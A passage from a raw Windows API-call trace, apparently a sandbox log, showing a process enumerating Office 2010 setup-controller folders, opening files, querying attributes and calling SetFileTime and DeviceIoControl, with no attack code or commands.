ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.553] GetLastError () returned 0x12 [0052.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0052.553] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0052.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0052.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.553] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="")) returned 1 [0052.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0052.557] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0052.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0052.557] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0052.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0052.557] NtClose (Handle=0x18c) returned 0x0 [0052.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0052.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0052.557] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0052.557] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.557] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="")) returned 1 [0052.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0052.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95ca0 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97d40 [0052.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.558] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95cc0 [0052.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97e48 [0052.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.558] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.558] GetLastError () returned 0x12 [0052.558] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0052.558] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0052.558] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.558] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="")) returned 1 [0052.558] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.558] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.558] GetLastError () returned 0x12 [0052.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0052.558] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0052.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0052.559] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.559] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="")) returned 1 [0052.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0052.578] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0052.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0052.578] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0052.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0052.578] NtClose (Handle=0x188) returned 0x0 [0052.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0052.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0052.579] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0052.579] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.579] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="")) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0052.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95ce0 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97f50 [0052.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.579] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95d00 [0052.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98058 [0052.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.579] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.579] GetLastError () returned 0x12 [0052.579] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0052.579] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0052.579] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.580] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="")) returned 1 [0052.580] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.580] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.580] GetLastError () returned 0x12 [0052.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0052.580] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0052.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0052.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.580] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0052.580] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="")) returned 1 [0052.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0052.580] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0052.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0052.580] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0052.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0052.580] NtClose (Handle=0x18c) returned 0x0 [0052.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0052.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0052.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0052.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0052.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0052.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0052.581] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0052.592] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.267] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0053.268] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.268] 